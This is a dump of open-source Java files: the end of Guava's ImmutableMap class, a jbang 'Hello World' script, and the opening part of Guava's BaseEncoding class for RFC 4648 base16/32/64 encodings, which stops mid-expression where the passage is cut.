added * @since 31.0 */ public ImmutableMap<K, V> buildOrThrow() { return build(true); } /** * Returns a newly-created immutable map, using the last value for any key that was added more * than once. The iteration order of the returned map is the order in which entries were * inserted into the builder, unless {@link #orderEntriesByValue} was called, in which case * entries are sorted by value. If a key was added more than once, it appears in iteration order * based on the first time it was added, again unless {@link #orderEntriesByValue} was called. * * <p>In the current implementation, all values associated with a given key are stored in the * {@code Builder} object, even though only one of them will be used in the built map. If there * can be many repeated keys, it may be more space-efficient to use a {@link * java.util.LinkedHashMap LinkedHashMap} and {@link ImmutableMap#copyOf(Map)} rather than * {@code ImmutableMap.Builder}. * * @since 31.1 */ public ImmutableMap<K, V> buildKeepingLast() { return build(false); } @VisibleForTesting // only for testing JDK backed implementation ImmutableMap<K, V> buildJdkBacked() { checkState( valueComparator == null, "buildJdkBacked is only for testing; can't use valueComparator"); switch (size) { case 0: return of(); case 1: // requireNonNull is safe because the first `size` elements have been filled in. Entry<K, V> onlyEntry = requireNonNull(entries[0]); return of(onlyEntry.getKey(), onlyEntry.getValue()); default: entriesUsed = true; return JdkBackedImmutableMap.create(size, entries, /* throwIfDuplicateKeys= */ true); } } /** * Scans the first {@code size} elements of {@code entries} looking for duplicate keys. If * duplicates are found, a new correctly-sized array is returned with the same elements (up to * {@code size}), except containing only the last occurrence of each duplicate key. Otherwise * {@code null} is returned. */ @CheckForNull private static <K, V> Entry<K, V>[] lastEntryForEachKey(Entry<K, V>[] entries, int size) { Set<K> seen = new HashSet<>(); BitSet dups = new BitSet(); // slots that are overridden by a later duplicate key for (int i = size - 1; i >= 0; i--) { if (!seen.add(entries[i].getKey())) { dups.set(i); } } if (dups.isEmpty()) { return null; } @SuppressWarnings({"rawtypes", "unchecked"}) Entry<K, V>[] newEntries = new Entry[size - dups.cardinality()]; for (int inI = 0, outI = 0; inI < size; inI++) { if (!dups.get(inI)) { newEntries[outI++] = entries[inI]; } } return newEntries; } } /** * Returns an immutable map containing the same entries as {@code map}. The returned map iterates * over entries in the same order as the {@code entrySet} of the original map. If {@code map} * somehow contains entries with duplicate keys (for example, if it is a {@code SortedMap} whose * comparator is not <i>consistent with equals</i>), the results of this method are undefined. * * <p>Despite the method name, this method attempts to avoid actually copying the data when it is * safe to do so. The exact circumstances under which a copy will or will not be performed are * undocumented and subject to change. * * @throws NullPointerException if any key or value in {@code map} is null */ public static <K, V> ImmutableMap<K, V> copyOf(Map<? extends K, ? extends V> map) { if ((map instanceof ImmutableMap) && !(map instanceof SortedMap)) { @SuppressWarnings("unchecked") // safe since map is not writable ImmutableMap<K, V> kvMap = (ImmutableMap<K, V>) map; if (!kvMap.isPartialView()) { return kvMap; } } else if (map instanceof EnumMap) { @SuppressWarnings("unchecked") // safe since map is not writable ImmutableMap<K, V> kvMap = (ImmutableMap<K, V>) copyOfEnumMap( (EnumMap<?, ? extends V>) map); // hide K (violates bounds) from J2KT, preserve V. return kvMap; } return copyOf(map.entrySet()); } /** * Returns an immutable map containing the specified entries. The returned map iterates over * entries in the same order as the original iterable. * * @throws NullPointerException if any key, value, or entry is null * @throws IllegalArgumentException if two entries have the same key * @since 19.0 */ public static <K, V> ImmutableMap<K, V> copyOf( Iterable<? extends Entry<? extends K, ? extends V>> entries) { @SuppressWarnings("unchecked") // we'll only be using getKey and getValue, which are covariant Entry<K, V>[] entryArray = (Entry<K, V>[]) Iterables.toArray(entries, EMPTY_ENTRY_ARRAY); switch (entryArray.length) { case 0: return of(); case 1: // requireNonNull is safe because the first `size` elements have been filled in. Entry<K, V> onlyEntry = requireNonNull(entryArray[0]); return of(onlyEntry.getKey(), onlyEntry.getValue()); default: /* * The current implementation will end up using entryArray directly, though it will write * over the (arbitrary, potentially mutable) Entry objects actually stored in entryArray. */ return RegularImmutableMap.fromEntries(entryArray); } } private static <K extends Enum<K>, V> ImmutableMap<K, ? extends V> copyOfEnumMap( EnumMap<?, ? extends V> original) { @SuppressWarnings("unchecked") // the best we could do to make copyOf(Map) compile EnumMap<K, V> copy = new EnumMap<>((EnumMap<K, ? extends V>) original); for (Entry<K, V> entry : copy.entrySet()) { checkEntryNotNull(entry.getKey(), entry.getValue()); } return ImmutableEnumMap.asImmutable(copy); } static final Entry<?, ?>[] EMPTY_ENTRY_ARRAY = new Entry<?, ?>[0]; abstract static class IteratorBasedImmutableMap<K, V> extends ImmutableMap<K, V> { abstract UnmodifiableIterator<Entry<K, V>> entryIterator(); Spliterator<Entry<K, V>> entrySpliterator() { return Spliterators.spliterator( entryIterator(), size(), Spliterator.DISTINCT | Spliterator.NONNULL | Spliterator.IMMUTABLE | Spliterator.ORDERED); } @Override ImmutableSet<K> createKeySet() { return new ImmutableMapKeySet<>(this); } @Override ImmutableSet<Entry<K, V>> createEntrySet() { class EntrySetImpl extends ImmutableMapEntrySet<K, V> { @Override ImmutableMap<K, V> map() { return IteratorBasedImmutableMap.this; } @Override public UnmodifiableIterator<Entry<K, V>> iterator() { return entryIterator(); } // redeclare to help optimizers with b/310253115 @SuppressWarnings("RedundantOverride") @Override @J2ktIncompatible // serialization @GwtIncompatible // serialization Object writeReplace() { return super.writeReplace(); } } return new EntrySetImpl(); } @Override ImmutableCollection<V> createValues() { return new ImmutableMapValues<>(this); } // redeclare to help optimizers with b/310253115 @SuppressWarnings("RedundantOverride") @Override @J2ktIncompatible // serialization @GwtIncompatible // serialization Object writeReplace() { return super.writeReplace(); } } ImmutableMap() {} /** * Guaranteed to throw an exception and leave the map unmodified. * * @throws UnsupportedOperationException always * @deprecated Unsupported operation. */ @CanIgnoreReturnValue @Deprecated @Override @DoNotCall("Always throws UnsupportedOperationException") @CheckForNull public final V put(K k, V v) { throw new UnsupportedOperationException(); } /** * Guaranteed to throw an exception and leave the map unmodified. * * @throws UnsupportedOperationException always * @deprecated Unsupported operation. */ @CanIgnoreReturnValue @Deprecated @Override @DoNotCall("Always throws UnsupportedOperationException") @CheckForNull public final V putIfAbsent(K key, V value) { throw new UnsupportedOperationException(); } /** * Guaranteed to throw an exception and leave the map unmodified. * * @throws UnsupportedOperationException always * @deprecated Unsupported operation. */ @Deprecated @Override @DoNotCall("Always throws UnsupportedOperationException") public final boolean replace(K key, V oldValue, V newValue) { throw new UnsupportedOperationException(); } /** * Guaranteed to throw an exception and leave the map unmodified. * * @throws UnsupportedOperationException always * @deprecated Unsupported operation. */ @Deprecated @Override @CheckForNull @DoNotCall("Always throws UnsupportedOperationException") public final V replace(K key, V value) { throw new UnsupportedOperationException(); } /** * Guaranteed to throw an exception and leave the map unmodified. * * @throws UnsupportedOperationException always * @deprecated Unsupported operation. */ @Deprecated @Override @DoNotCall("Always throws UnsupportedOperationException") public final V computeIfAbsent(K key, Function<? super K, ? extends V> mappingFunction) { throw new UnsupportedOperationException(); } /** * Guaranteed to throw an exception and leave the map unmodified. * * @throws UnsupportedOperationException always * @deprecated Unsupported operation. */ @Deprecated @Override @DoNotCall("Always throws UnsupportedOperationException") @CheckForNull public final V computeIfPresent( K key, BiFunction<? super K, ? super V, ? extends @Nullable V> remappingFunction) { throw new UnsupportedOperationException(); } /** * Guaranteed to throw an exception and leave the map unmodified. * * @throws UnsupportedOperationException always * @deprecated Unsupported operation. */ @Deprecated @Override @DoNotCall("Always throws UnsupportedOperationException") @CheckForNull public final V compute( K key, BiFunction<? super K, ? super @Nullable V, ? extends @Nullable V> remappingFunction) { throw new UnsupportedOperationException(); } /** * Guaranteed to throw an exception and leave the map unmodified. * * @throws UnsupportedOperationException always * @deprecated Unsupported operation. */ @Deprecated @Override @DoNotCall("Always throws UnsupportedOperationException") @CheckForNull public final V merge( K key, V value, BiFunction<? super V, ? super V, ? extends @Nullable V> function) { throw new UnsupportedOperationException(); } /** * Guaranteed to throw an exception and leave the map unmodified. * * @throws UnsupportedOperationException always * @deprecated Unsupported operation. */ @Deprecated @Override @DoNotCall("Always throws UnsupportedOperationException") public final void putAll(Map<? extends K, ? extends V> map) { throw new UnsupportedOperationException(); } /** * Guaranteed to throw an exception and leave the map unmodified. * * @throws UnsupportedOperationException always * @deprecated Unsupported operation. */ @Deprecated @Override @DoNotCall("Always throws UnsupportedOperationException") public final void replaceAll(BiFunction<? super K, ? super V, ? extends V> function) { throw new UnsupportedOperationException(); } /** * Guaranteed to throw an exception and leave the map unmodified. * * @throws UnsupportedOperationException always * @deprecated Unsupported operation. */ @Deprecated @Override @DoNotCall("Always throws UnsupportedOperationException") @CheckForNull public final V remove(@CheckForNull Object o) { throw new UnsupportedOperationException(); } /** * Guaranteed to throw an exception and leave the map unmodified. * * @throws UnsupportedOperationException always * @deprecated Unsupported operation. */ @Deprecated @Override @DoNotCall("Always throws UnsupportedOperationException") public final boolean remove(@CheckForNull Object key, @CheckForNull Object value) { throw new UnsupportedOperationException(); } /** * Guaranteed to throw an exception and leave the map unmodified. * * @throws UnsupportedOperationException always * @deprecated Unsupported operation. */ @Deprecated @Override @DoNotCall("Always throws UnsupportedOperationException") public final void clear() { throw new UnsupportedOperationException(); } @Override public boolean isEmpty() { return size() == 0; } @Override public boolean containsKey(@CheckForNull Object key) { return get(key) != null; } @Override public boolean containsValue(@CheckForNull Object value) { return values().contains(value); } // Overriding to mark it Nullable @Override @CheckForNull public abstract V get(@CheckForNull Object key); /** * @since 21.0 (but only since 23.5 in the Android <a * href="https://github.com/google/guava#guava-google-core-libraries-for-java">flavor</a>). * Note, however, that Java 8+ users can call this method with any version and flavor of * Guava. */ @Override @CheckForNull public final V getOrDefault(@CheckForNull Object key, @CheckForNull V defaultValue) { /* * Even though it's weird to pass a defaultValue that is null, some callers do so. Those who * pass a literal "null" should probably just use `get`, but I would expect other callers to * pass an expression that *might* be null. This could happen with: * * - a `getFooOrDefault(@CheckForNull Foo defaultValue)` method that returns * `map.getOrDefault(FOO_KEY, defaultValue)` * * - a call that consults a chain of maps, as in `mapA.getOrDefault(key, mapB.getOrDefault(key, * ...))` * * So it makes sense for the parameter (and thus the return type) to be @CheckForNull. * * Two other points: * * 1. We'll want to use something like @PolyNull once we can make that work for the various * platforms we target. * * 2. Kotlin's Map type has a getOrDefault method that accepts and returns a "plain V," in * contrast to the "V?" type that we're using. As a result, Kotlin sees a conflict between the * nullness annotations in ImmutableMap and those in its own Map type. In response, it considers * the parameter and return type both to be platform types. As a result, Kotlin permits calls * that can lead to NullPointerException. That's unfortunate. But hopefully most Kotlin callers * use `get(key) ?: defaultValue` instead of this method, anyway. */ V result = get(key); // TODO(b/192579700): Use a ternary once it no longer confuses our nullness checker. if (result != null) { return result; } else { return defaultValue; } } @LazyInit @RetainedWith @CheckForNull private transient ImmutableSet<Entry<K, V>> entrySet; /** * Returns an immutable set of the mappings in this map. The iteration order is specified by the * method used to create this map. Typically, this is insertion order. */ @Override public ImmutableSet<Entry<K, V>> entrySet() { ImmutableSet<Entry<K, V>> result = entrySet; return (result == null) ? entrySet = createEntrySet() : result; } abstract ImmutableSet<Entry<K, V>> createEntrySet(); @LazyInit @RetainedWith @CheckForNull private transient ImmutableSet<K> keySet; /** * Returns an immutable set of the keys in this map, in the same order that they appear in {@link * #entrySet}. */ @Override public ImmutableSet<K> keySet() { ImmutableSet<K> result = keySet; return (result == null) ? keySet = createKeySet() : result; } /* * This could have a good default implementation of return new ImmutableKeySet<K, V>(this), * but ProGuard can't figure out how to eliminate that default when RegularImmutableMap * overrides it. */ abstract ImmutableSet<K> createKeySet(); UnmodifiableIterator<K> keyIterator() { final UnmodifiableIterator<Entry<K, V>> entryIterator = entrySet().iterator(); return new UnmodifiableIterator<K>() { @Override public boolean hasNext() { return entryIterator.hasNext(); } @Override public K next() { return entryIterator.next().getKey(); } }; } Spliterator<K> keySpliterator() { return CollectSpliterators.map(entrySet().spliterator(), Entry::getKey); } @LazyInit @RetainedWith @CheckForNull private transient ImmutableCollection<V> values; /** * Returns an immutable collection of the values in this map, in the same order that they appear * in {@link #entrySet}. */ @Override public ImmutableCollection<V> values() { ImmutableCollection<V> result = values; return (result == null) ? values = createValues() : result; } /* * This could have a good default implementation of {@code return new * ImmutableMapValues<K, V>(this)}, but ProGuard can't figure out how to eliminate that default * when RegularImmutableMap overrides it. */ abstract ImmutableCollection<V> createValues(); // cached so that this.multimapView().inverse() only computes inverse once @LazyInit @CheckForNull private transient ImmutableSetMultimap<K, V> multimapView; /** * Returns a multimap view of the map. * * @since 14.0 */ public ImmutableSetMultimap<K, V> asMultimap() { if (isEmpty()) { return ImmutableSetMultimap.of(); } ImmutableSetMultimap<K, V> result = multimapView; return (result == null) ? (multimapView = new ImmutableSetMultimap<>(new MapViewOfValuesAsSingletonSets(), size(), null)) : result; } @WeakOuter private final class MapViewOfValuesAsSingletonSets extends IteratorBasedImmutableMap<K, ImmutableSet<V>> { @Override public int size() { return ImmutableMap.this.size(); } @Override ImmutableSet<K> createKeySet() { return ImmutableMap.this.keySet(); } @Override public boolean containsKey(@CheckForNull Object key) { return ImmutableMap.this.containsKey(key); } @Override @CheckForNull public ImmutableSet<V> get(@CheckForNull Object key) { V outerValue = ImmutableMap.this.get(key); return (outerValue == null) ? null : ImmutableSet.of(outerValue); } @Override boolean isPartialView() { return ImmutableMap.this.isPartialView(); } @Override public int hashCode() { // ImmutableSet.of(value).hashCode() == value.hashCode(), so the hashes are the same return ImmutableMap.this.hashCode(); } @Override boolean isHashCodeFast() { return ImmutableMap.this.isHashCodeFast(); } @Override UnmodifiableIterator<Entry<K, ImmutableSet<V>>> entryIterator() { final Iterator<Entry<K, V>> backingIterator = ImmutableMap.this.entrySet().iterator(); return new UnmodifiableIterator<Entry<K, ImmutableSet<V>>>() { @Override public boolean hasNext() { return backingIterator.hasNext(); } @Override public Entry<K, ImmutableSet<V>> next() { final Entry<K, V> backingEntry = backingIterator.next(); return new AbstractMapEntry<K, ImmutableSet<V>>() { @Override public K getKey() { return backingEntry.getKey(); } @Override public ImmutableSet<V> getValue() { return ImmutableSet.of(backingEntry.getValue()); } }; } }; } // redeclare to help optimizers with b/310253115 @SuppressWarnings("RedundantOverride") @Override @J2ktIncompatible // serialization @GwtIncompatible // serialization Object writeReplace() { return super.writeReplace(); } } @Override public boolean equals(@CheckForNull Object object) { return Maps.equalsImpl(this, object); } abstract boolean isPartialView(); @Override public int hashCode() { return Sets.hashCodeImpl(entrySet()); } boolean isHashCodeFast() { return false; } @Override public String toString() { return Maps.toStringImpl(this); } /** * Serialized type for all ImmutableMap instances. It captures the logical contents and they are * reconstructed using public factory methods. This ensures that the implementation types remain * as implementation details. */ @J2ktIncompatible // serialization static class SerializedForm<K, V> implements Serializable { // This object retains references to collections returned by keySet() and value(). This saves // bytes when the both the map and its keySet or value collection are written to the same // instance of ObjectOutputStream. // TODO(b/160980469): remove support for the old serialization format after some time private static final boolean USE_LEGACY_SERIALIZATION = true; private final Object keys; private final Object values; SerializedForm(ImmutableMap<K, V> map) { if (USE_LEGACY_SERIALIZATION) { Object[] keys = new Object[map.size()]; Object[] values = new Object[map.size()]; int i = 0; // "extends Object" works around https://github.com/typetools/checker-framework/issues/3013 for (Entry<? extends Object, ? extends Object> entry : map.entrySet()) { keys[i] = entry.getKey(); values[i] = entry.getValue(); i++; } this.keys = keys; this.values = values; return; } this.keys = map.keySet(); this.values = map.values(); } @SuppressWarnings("unchecked") final Object readResolve() { if (!(this.keys instanceof ImmutableSet)) { return legacyReadResolve(); } ImmutableSet<K> keySet = (ImmutableSet<K>) this.keys; ImmutableCollection<V> values = (ImmutableCollection<V>) this.values; Builder<K, V> builder = makeBuilder(keySet.size()); UnmodifiableIterator<K> keyIter = keySet.iterator(); UnmodifiableIterator<V> valueIter = values.iterator(); while (keyIter.hasNext()) { builder.put(keyIter.next(), valueIter.next()); } return builder.buildOrThrow(); } @SuppressWarnings("unchecked") final Object legacyReadResolve() { K[] keys = (K[]) this.keys; V[] values = (V[]) this.values; Builder<K, V> builder = makeBuilder(keys.length); for (int i = 0; i < keys.length; i++) { builder.put(keys[i], values[i]); } return builder.buildOrThrow(); } /** * Returns a builder that builds the unserialized type. Subclasses should override this method. */ Builder<K, V> makeBuilder(int size) { return new Builder<>(size); } private static final long serialVersionUID = 0; } /** * Returns a serializable form of this object. Non-public subclasses should not override this * method. Publicly-accessible subclasses must override this method and should return a subclass * of SerializedForm whose readResolve() method returns objects of the subclass type. */ @J2ktIncompatible // serialization Object writeReplace() { return new SerializedForm<>(this); } @J2ktIncompatible // java.io.ObjectInputStream private void readObject(ObjectInputStream stream) throws InvalidObjectException { throw new InvalidObjectException("Use SerializedForm"); } private static final long serialVersionUID = 0xcafebabe; }
google/guava
guava/src/com/google/common/collect/ImmutableMap.java
346
///usr/bin/env jbang "$0" "$@" ; exit $? // //DEPS <dependency1> <dependency2> import static java.lang.System.*; public class hello { public static void main(String... args) { out.println("Hello World"); } }
eugenp/tutorials
jbang/hello.java
347
/* * Copyright (C) 2012 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.io; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.base.Preconditions.checkPositionIndexes; import static com.google.common.base.Preconditions.checkState; import static com.google.common.math.IntMath.divide; import static com.google.common.math.IntMath.log2; import static java.math.RoundingMode.CEILING; import static java.math.RoundingMode.FLOOR; import static java.math.RoundingMode.UNNECESSARY; import com.google.common.annotations.GwtCompatible; import com.google.common.annotations.GwtIncompatible; import com.google.common.annotations.J2ktIncompatible; import com.google.common.base.Ascii; import com.google.errorprone.annotations.concurrent.LazyInit; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.io.Reader; import java.io.Writer; import java.util.Arrays; import java.util.Objects; import javax.annotation.CheckForNull; import org.checkerframework.checker.nullness.qual.Nullable; /** * A binary encoding scheme for reversibly translating between byte sequences and printable ASCII * strings. This class includes several constants for encoding schemes specified by <a * href="http://tools.ietf.org/html/rfc4648">RFC 4648</a>. For example, the expression: * * <pre>{@code * BaseEncoding.base32().encode("foo".getBytes(Charsets.US_ASCII)) * }</pre> * * <p>returns the string {@code "MZXW6==="}, and * * <pre>{@code * byte[] decoded = BaseEncoding.base32().decode("MZXW6==="); * }</pre> * * <p>...returns the ASCII bytes of the string {@code "foo"}. * * <p>By default, {@code BaseEncoding}'s behavior is relatively strict and in accordance with RFC * 4648. Decoding rejects characters in the wrong case, though padding is optional. To modify * encoding and decoding behavior, use configuration methods to obtain a new encoding with modified * behavior: * * <pre>{@code * BaseEncoding.base16().lowerCase().decode("deadbeef"); * }</pre> * * <p>Warning: BaseEncoding instances are immutable. Invoking a configuration method has no effect * on the receiving instance; you must store and use the new encoding instance it returns, instead. * * <pre>{@code * // Do NOT do this * BaseEncoding hex = BaseEncoding.base16(); * hex.lowerCase(); // does nothing! * return hex.decode("deadbeef"); // throws an IllegalArgumentException * }</pre> * * <p>It is guaranteed that {@code encoding.decode(encoding.encode(x))} is always equal to {@code * x}, but the reverse does not necessarily hold. * * <table> * <caption>Encodings</caption> * <tr> * <th>Encoding * <th>Alphabet * <th>{@code char:byte} ratio * <th>Default padding * <th>Comments * <tr> * <td>{@link #base16()} * <td>0-9 A-F * <td>2.00 * <td>N/A * <td>Traditional hexadecimal. Defaults to upper case. * <tr> * <td>{@link #base32()} * <td>A-Z 2-7 * <td>1.60 * <td>= * <td>Human-readable; no possibility of mixing up 0/O or 1/I. Defaults to upper case. * <tr> * <td>{@link #base32Hex()} * <td>0-9 A-V * <td>1.60 * <td>= * <td>"Numerical" base 32; extended from the traditional hex alphabet. Defaults to upper case. * <tr> * <td>{@link #base64()} * <td>A-Z a-z 0-9 + / * <td>1.33 * <td>= * <td> * <tr> * <td>{@link #base64Url()} * <td>A-Z a-z 0-9 - _ * <td>1.33 * <td>= * <td>Safe to use as filenames, or to pass in URLs without escaping * </table> * * <p>All instances of this class are immutable, so they may be stored safely as static constants. * * @author Louis Wasserman * @since 14.0 */ @GwtCompatible(emulated = true) @ElementTypesAreNonnullByDefault public abstract class BaseEncoding { // TODO(lowasser): consider making encodeTo(Appendable, byte[], int, int) public. BaseEncoding() {} /** * Exception indicating invalid base-encoded input encountered while decoding. * * @author Louis Wasserman * @since 15.0 */ public static final class DecodingException extends IOException { DecodingException(@Nullable String message) { super(message); } } /** Encodes the specified byte array, and returns the encoded {@code String}. */ public String encode(byte[] bytes) { return encode(bytes, 0, bytes.length); } /** * Encodes the specified range of the specified byte array, and returns the encoded {@code * String}. */ public final String encode(byte[] bytes, int off, int len) { checkPositionIndexes(off, off + len, bytes.length); StringBuilder result = new StringBuilder(maxEncodedSize(len)); try { encodeTo(result, bytes, off, len); } catch (IOException impossible) { throw new AssertionError(impossible); } return result.toString(); } /** * Returns an {@code OutputStream} that encodes bytes using this encoding into the specified * {@code Writer}. When the returned {@code OutputStream} is closed, so is the backing {@code * Writer}. */ @J2ktIncompatible @GwtIncompatible // Writer,OutputStream public abstract OutputStream encodingStream(Writer writer); /** * Returns a {@code ByteSink} that writes base-encoded bytes to the specified {@code CharSink}. */ @J2ktIncompatible @GwtIncompatible // ByteSink,CharSink public final ByteSink encodingSink(CharSink encodedSink) { checkNotNull(encodedSink); return new ByteSink() { @Override public OutputStream openStream() throws IOException { return encodingStream(encodedSink.openStream()); } }; } // TODO(lowasser): document the extent of leniency, probably after adding ignore(CharMatcher) private static byte[] extract(byte[] result, int length) { if (length == result.length) { return result; } byte[] trunc = new byte[length]; System.arraycopy(result, 0, trunc, 0, length); return trunc; } /** * Determines whether the specified character sequence is a valid encoded string according to this * encoding. * * @since 20.0 */ public abstract boolean canDecode(CharSequence chars); /** * Decodes the specified character sequence, and returns the resulting {@code byte[]}. This is the * inverse operation to {@link #encode(byte[])}. * * @throws IllegalArgumentException if the input is not a valid encoded string according to this * encoding. */ public final byte[] decode(CharSequence chars) { try { return decodeChecked(chars); } catch (DecodingException badInput) { throw new IllegalArgumentException(badInput); } } /** * Decodes the specified character sequence, and returns the resulting {@code byte[]}. This is the * inverse operation to {@link #encode(byte[])}. * * @throws DecodingException if the input is not a valid encoded string according to this * encoding. */ final byte[] decodeChecked(CharSequence chars) throws DecodingException { chars = trimTrailingPadding(chars); byte[] tmp = new byte[maxDecodedSize(chars.length())]; int len = decodeTo(tmp, chars); return extract(tmp, len); } /** * Returns an {@code InputStream} that decodes base-encoded input from the specified {@code * Reader}. The returned stream throws a {@link DecodingException} upon decoding-specific errors. */ @J2ktIncompatible @GwtIncompatible // Reader,InputStream public abstract InputStream decodingStream(Reader reader); /** * Returns a {@code ByteSource} that reads base-encoded bytes from the specified {@code * CharSource}. */ @J2ktIncompatible @GwtIncompatible // ByteSource,CharSource public final ByteSource decodingSource(CharSource encodedSource) { checkNotNull(encodedSource); return new ByteSource() { @Override public InputStream openStream() throws IOException { return decodingStream(encodedSource.openStream()); } }; } // Implementations for encoding/decoding abstract int maxEncodedSize(int bytes); abstract void encodeTo(Appendable target, byte[] bytes, int off, int len) throws IOException; abstract int maxDecodedSize(int chars); abstract int decodeTo(byte[] target, CharSequence chars) throws DecodingException; CharSequence trimTrailingPadding(CharSequence chars) { return checkNotNull(chars); } // Modified encoding generators /** * Returns an encoding that behaves equivalently to this encoding, but omits any padding * characters as specified by <a href="http://tools.ietf.org/html/rfc4648#section-3.2">RFC 4648 * section 3.2</a>, Padding of Encoded Data. */ public abstract BaseEncoding omitPadding(); /** * Returns an encoding that behaves equivalently to this encoding, but uses an alternate character * for padding. * * @throws IllegalArgumentException if this padding character is already used in the alphabet or a * separator */ public abstract BaseEncoding withPadChar(char padChar); /** * Returns an encoding that behaves equivalently to this encoding, but adds a separator string * after every {@code n} characters. Any occurrences of any characters that occur in the separator * are skipped over in decoding. * * @throws IllegalArgumentException if any alphabet or padding characters appear in the separator * string, or if {@code n <= 0} * @throws UnsupportedOperationException if this encoding already uses a separator */ public abstract BaseEncoding withSeparator(String separator, int n); /** * Returns an encoding that behaves equivalently to this encoding, but encodes and decodes with * uppercase letters. Padding and separator characters remain in their original case. * * @throws IllegalStateException if the alphabet used by this encoding contains mixed upper- and * lower-case characters */ public abstract BaseEncoding upperCase(); /** * Returns an encoding that behaves equivalently to this encoding, but encodes and decodes with * lowercase letters. Padding and separator characters remain in their original case. * * @throws IllegalStateException if the alphabet used by this encoding contains mixed upper- and * lower-case characters */ public abstract BaseEncoding lowerCase(); /** * Returns an encoding that behaves equivalently to this encoding, but decodes letters without * regard to case. * * @throws IllegalStateException if the alphabet used by this encoding contains mixed upper- and * lower-case characters * @since 32.0.0 */ public abstract BaseEncoding ignoreCase(); private static final BaseEncoding BASE64 = new Base64Encoding( "base64()", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", '='); /** * The "base64" base encoding specified by <a * href="http://tools.ietf.org/html/rfc4648#section-4">RFC 4648 section 4</a>, Base 64 Encoding. * (This is the same as the base 64 encoding from <a * href="http://tools.ietf.org/html/rfc3548#section-3">RFC 3548</a>.) * * <p>The character {@code '='} is used for padding, but can be {@linkplain #omitPadding() * omitted} or {@linkplain #withPadChar(char) replaced}. * * <p>No line feeds are added by default, as per <a * href="http://tools.ietf.org/html/rfc4648#section-3.1">RFC 4648 section 3.1</a>, Line Feeds in * Encoded Data. Line feeds may be added using {@link #withSeparator(String, int)}. */ public static BaseEncoding base64() { return BASE64; } private static final BaseEncoding BASE64_URL = new Base64Encoding( "base64Url()", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_", '='); /** * The "base64url" encoding specified by <a * href="http://tools.ietf.org/html/rfc4648#section-5">RFC 4648 section 5</a>, Base 64 Encoding * with URL and Filename Safe Alphabet, also sometimes referred to as the "web safe Base64." (This * is the same as the base 64 encoding with URL and filename safe alphabet from <a * href="http://tools.ietf.org/html/rfc3548#section-4">RFC 3548</a>.) * * <p>The character {@code '='} is used for padding, but can be {@linkplain #omitPadding() * omitted} or {@linkplain #withPadChar(char) replaced}. * * <p>No line feeds are added by default, as per <a * href="http://tools.ietf.org/html/rfc4648#section-3.1">RFC 4648 section 3.1</a>, Line Feeds in * Encoded Data. Line feeds may be added using {@link #withSeparator(String, int)}. */ public static BaseEncoding base64Url() { return BASE64_URL; } private static final BaseEncoding BASE32 = new StandardBaseEncoding("base32()", "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567", '='); /** * The "base32" encoding specified by <a href="http://tools.ietf.org/html/rfc4648#section-6">RFC * 4648 section 6</a>, Base 32 Encoding. (This is the same as the base 32 encoding from <a * href="http://tools.ietf.org/html/rfc3548#section-5">RFC 3548</a>.) * * <p>The character {@code '='} is used for padding, but can be {@linkplain #omitPadding() * omitted} or {@linkplain #withPadChar(char) replaced}. * * <p>No line feeds are added by default, as per <a * href="http://tools.ietf.org/html/rfc4648#section-3.1">RFC 4648 section 3.1</a>, Line Feeds in * Encoded Data. Line feeds may be added using {@link #withSeparator(String, int)}. */ public static BaseEncoding base32() { return BASE32; } private static final BaseEncoding BASE32_HEX = new StandardBaseEncoding("base32Hex()", "0123456789ABCDEFGHIJKLMNOPQRSTUV", '='); /** * The "base32hex" encoding specified by <a * href="http://tools.ietf.org/html/rfc4648#section-7">RFC 4648 section 7</a>, Base 32 Encoding * with Extended Hex Alphabet. There is no corresponding encoding in RFC 3548. * * <p>The character {@code '='} is used for padding, but can be {@linkplain #omitPadding() * omitted} or {@linkplain #withPadChar(char) replaced}. * * <p>No line feeds are added by default, as per <a * href="http://tools.ietf.org/html/rfc4648#section-3.1">RFC 4648 section 3.1</a>, Line Feeds in * Encoded Data. Line feeds may be added using {@link #withSeparator(String, int)}. */ public static BaseEncoding base32Hex() { return BASE32_HEX; } private static final BaseEncoding BASE16 = new Base16Encoding("base16()", "0123456789ABCDEF"); /** * The "base16" encoding specified by <a href="http://tools.ietf.org/html/rfc4648#section-8">RFC * 4648 section 8</a>, Base 16 Encoding. (This is the same as the base 16 encoding from <a * href="http://tools.ietf.org/html/rfc3548#section-6">RFC 3548</a>.) This is commonly known as * "hexadecimal" format. * * <p>No padding is necessary in base 16, so {@link #withPadChar(char)} and {@link #omitPadding()} * have no effect. * * <p>No line feeds are added by default, as per <a * href="http://tools.ietf.org/html/rfc4648#section-3.1">RFC 4648 section 3.1</a>, Line Feeds in * Encoded Data. Line feeds may be added using {@link #withSeparator(String, int)}. */ public static BaseEncoding base16() { return BASE16; } static final class Alphabet { private final String name; // this is meant to be immutable -- don't modify it! private final char[] chars; final int mask; final int bitsPerChar; final int charsPerChunk; final int bytesPerChunk; private final byte[] decodabet; private final boolean[] validPadding; private final boolean ignoreCase; Alphabet(String name, char[] chars) { this(name, chars, decodabetFor(chars), /* ignoreCase= */ false); } private Alphabet(String name, char[] chars, byte[] decodabet, boolean ignoreCase) { this.name = checkNotNull(name); this.chars = checkNotNull(chars); try { this.bitsPerChar = log2(chars.length, UNNECESSARY); } catch (ArithmeticException e) { throw new IllegalArgumentException("Illegal alphabet length " + chars.length, e); } // Compute how input bytes are chunked. For example, with base64 we chunk every 3 bytes into // 4 characters. We have bitsPerChar == 6, charsPerChunk == 4, and bytesPerChunk == 3. // We're looking for the smallest charsPerChunk such that bitsPerChar * charsPerChunk is a // multiple of 8. A multiple of 8 has 3 low zero bits, so we just need to figure out how many // extra zero bits we need to add to the end of bitsPerChar to get 3 in total. // The logic here would be wrong for bitsPerChar > 8, but since we require distinct ASCII // characters that can't happen. int zeroesInBitsPerChar = Integer.numberOfTrailingZeros(bitsPerChar); this.charsPerChunk = 1 << (3 - 